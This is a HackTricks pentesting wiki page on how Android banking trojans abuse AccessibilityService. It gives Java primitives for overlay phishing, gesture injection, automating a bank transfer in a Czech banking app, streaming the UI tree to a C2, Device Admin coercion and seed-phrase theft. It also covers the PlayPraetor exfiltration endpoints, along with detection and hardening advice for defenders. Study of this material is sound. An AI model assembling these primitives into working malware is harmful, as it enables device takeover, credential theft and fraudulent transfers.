hacktricks/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
HackTricks News Bot 6f24692e8c Add content from: The Rise of RatOn: From NFC heists to remote control and ATS
- Remove searchindex.js (auto-generated file)
2025-09-09 13:02:09 +00:00

11 KiB
Raw Blame History

Android Accessibility Service Abuse

{{#include ../../banners/hacktricks-training.md}}

Overview

AccessibilityService was created to help users with disabilities interact with Android devices. Unfortunately, the same powerful automation APIs (global navigation, text input, gesture dispatch, overlay windows…) can be weaponised by malware to gain complete remote control of the handset without root privileges.

Modern Android banking Trojans and Remote-Access-Trojans (RATs) such as PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda and many others follow the same recipe:

  1. Social-engineer the victim into enabling a rogue accessibility service (the BIND_ACCESSIBILITY_SERVICE permission is considered "high-risk" and requires an explicit user action).
  2. Leverage the service to
    • capture every UI event & text that appears on screen,
    • inject synthetic gestures (dispatchGesture) and global actions (performGlobalAction) to automate any task the operator desires,
    • draw full-screen overlays on top of legitimate apps using the TYPE_ACCESSIBILITY_OVERLAY window type (no SYSTEM_ALERT_WINDOW prompt!),
    • silently grant additional runtime permissions by clicking on the system dialogs on the victims behalf.
  3. Exfiltrate data or perform On-Device-Fraud (ODF) in real-time while the user is looking at a perfectly normal screen.

Requesting the permission

<!-- AndroidManifest.xml -->
<service
    android:name="com.evil.rat.EvilService"
    android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
    android:exported="false">

    <intent-filter>
        <action android:name="android.accessibilityservice.AccessibilityService" />
    </intent-filter>

    <meta-data android:name="android.accessibilityservice"
        android:resource="@xml/evil_accessibility_config"/>
</service>

The companion XML defines how the fake dialog will look like:

<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
    android:description="@string/service_description"
    android:accessibilityEventTypes="typeAllMask"
    android:accessibilityFeedbackType="feedbackGeneric"
    android:notificationTimeout="200"
    android:canPerformGestures="true"
    android:canRetrieveWindowContent="true"/>

Remote UI automation primitives

public class EvilService extends AccessibilityService {
    @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {
        // harvest text or detect foreground app change
    }

    // Simulate HOME / BACK / RECENTS …
    private void navHome()     { performGlobalAction(GLOBAL_ACTION_HOME); }
    private void navBack()     { performGlobalAction(GLOBAL_ACTION_BACK); }
    private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

    // Generic tap / swipe
    public void tap(float x, float y) {
        Path p = new Path(); p.moveTo(x, y);
        GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
        dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
    }
}

With only these two APIs an attacker can:

  • Unlock the screen, open the banking app, navigate its UI tree and submit a transfer form.
  • Accept every permission dialog that pops up.
  • Install/update extra APKs via the Play Store intent.

Abuse patterns

1. Overlay Phishing (Credential Harvesting)

A transparent or opaque WebView is added to the window manager:

WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
        MATCH_PARENT, MATCH_PARENT,
        TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
        FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
        PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

The victim types credentials into the fake form while the background app receives the same gestures no suspicious "draw over other apps" prompt is ever shown.

Detailed example: the Accessibility Overlay Phishing section inside the Tapjacking page.

2. On-Device Fraud automation

Malware families such as PlayPraetor maintain a persistent WebSocket channel where the operator can issue high-level commands (init, update, alert_arr, report_list, …). The service translates those commands into the low-level gestures above, achieving real-time unauthorized transactions that easily bypass multi-factor-authentication tied to that very device.

3. Screen streaming & monitoring

By combining the MediaProjection API with an RTMP client library, the RAT can broadcast the live framebuffer to rtmp://<c2>:1935/live/<device_id>, giving the adversary perfect situational awareness while the Accessibility engine drives the UI.


PlayPraetor command & control workflow

  1. HTTP(S) heartbeat iterate over a hard-coded list until one domain answers POST /app/searchPackageName with the active C2.
  2. WebSocket (port 8282) bidirectional JSON commands:
    • update push new conf/APKs
    • alert_arr configure overlay templates
    • report_list send list of targeted package names
    • heartbeat_web keep-alive
  3. RTMP (port 1935) live screen/video streaming.
  4. REST exfiltration
    • /app/saveDevice (fingerprint)
    • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
    • /app/saveCardPwd (bank creds)

The AccessibilityService is the local engine that turns those cloud commands into physical interactions.


Detecting malicious accessibility services

  • adb shell settings get secure enabled_accessibility_services
  • Settings → Accessibility → Downloaded services look for apps that are not from Google Play.
  • MDM / EMM solutions can enforce ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) to block sideloaded services.
  • Analyse running services:
    adb shell dumpsys accessibility | grep "Accessibility Service"
    

Hardening recommendations for app developers

  • Mark sensitive views with android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Combine setFilterTouchesWhenObscured(true) with FLAG_SECURE to prevent tap/overlay hijacking.
  • Detect overlays by polling WindowManager.getDefaultDisplay().getFlags() or the ViewRootImpl API.
  • Refuse to operate when Settings.canDrawOverlays() or a non-trusted Accessibility service is active.

ATS automation cheat-sheet (Accessibility-driven)

Malware can fully automate a bank app with only Accessibility APIs. Generic primitives:

// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
  AccessibilityNodeInfo r = getRootInActiveWindow();
  return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
  for (AccessibilityNodeInfo n: byText(t)){
    if (n.isClickable()) return n.performAction(ACTION_CLICK);
    AccessibilityNodeInfo p = n.getParent();
    if (p != null) return p.performAction(ACTION_CLICK);
  }
  return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
  Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
  field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
  Path p = new Path(); p.moveTo(x,y);
  dispatchGesture(new GestureDescription.Builder()
    .addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}

Example flow (Czech → English labels):

  • "Nová platba" (New payment) → click
  • "Zadat platbu" (Enter payment) → click
  • "Nový příjemce" (New recipient) → click
  • "Domácí číslo účtu" (Domestic account number) → focus and ACTION_SET_TEXT
  • "Další" (Next) → click → … "Zaplatit" (Pay) → click → enter PIN

Fallback: hard-coded coordinates with dispatchGesture when text lookup fails due to custom widgets.

Also seen: pre-steps to check_limit and limit by navigating to limits UI and increasing daily limits before transfer.

Text-based pseudo-screen streaming

For low-latency remote control, instead of full video streaming, dump a textual representation of the current UI tree and send it to C2 repeatedly.

private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
  if (n==null) return;
  Rect b = new Rect(); n.getBoundsInScreen(b);
  CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
  sb.append(indent).append("[").append(cls).append("] ")
    .append(txt==null?"":txt).append(" ")
    .append(b.toShortString()).append("\n");
  for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
}

This is the basis for commands like txt_screen (one-shot) and screen_live (continuous).

Device Admin coercion primitives

Once a Device Admin receiver is activated, these calls increase opportunities to capture credentials and maintain control:

DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);

// 1) Immediate lock
dpm.lockNow();

// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android

// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
            DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);

Note: the exact availability of these policies varies by Android version and OEM; validate the device policy role (admin vs owner) during testing.

Crypto wallet seed-phrase extraction patterns

Observed flows for MetaMask, Trust Wallet, Blockchain.com and Phantom:

  • Unlock with stolen PIN (captured via overlay/Accessibility) or provided wallet password.
  • Navigate: Settings → Security/Recovery → Reveal/Show recovery phrase.
  • Collect phrase via keylogging the text nodes, secure-screen bypass, or screenshot OCR when text is obscured.
  • Support multiple locales (EN/RU/CZ/SK) to stabilise selectors prefer viewIdResourceName when available, fallback to multilingual text matching.

NFC-relay orchestration

Accessibility/RAT modules can install and launch a dedicated NFC-relay app (e.g., NFSkate) as a third stage and even inject an overlay guide to shepherd the victim through card-present relay steps.

Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay


References

{{#include ../../banners/hacktricks-training.md}}